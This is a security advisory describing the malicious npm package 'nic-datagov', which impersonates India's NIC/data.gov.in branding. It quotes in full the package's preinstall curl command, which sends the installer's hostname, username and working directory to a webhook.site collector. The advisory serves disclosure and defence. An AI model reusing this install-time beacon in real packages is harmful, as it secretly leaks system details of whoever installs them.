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MAL-2026-5836

Malicious code in nic-datagov (npm)

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## Source: amazon-inspector (89be7e0ea4d164dad90f5476041928d54d5502a066e22d501373e1bbf9dc8bbf) package.json declares a preinstall script that runs `curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov`, sending the installer's hostname, current user, and working directory to a webhook.site collector on `npm install`. The package ships no library code and has no `main`/`files` consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace.

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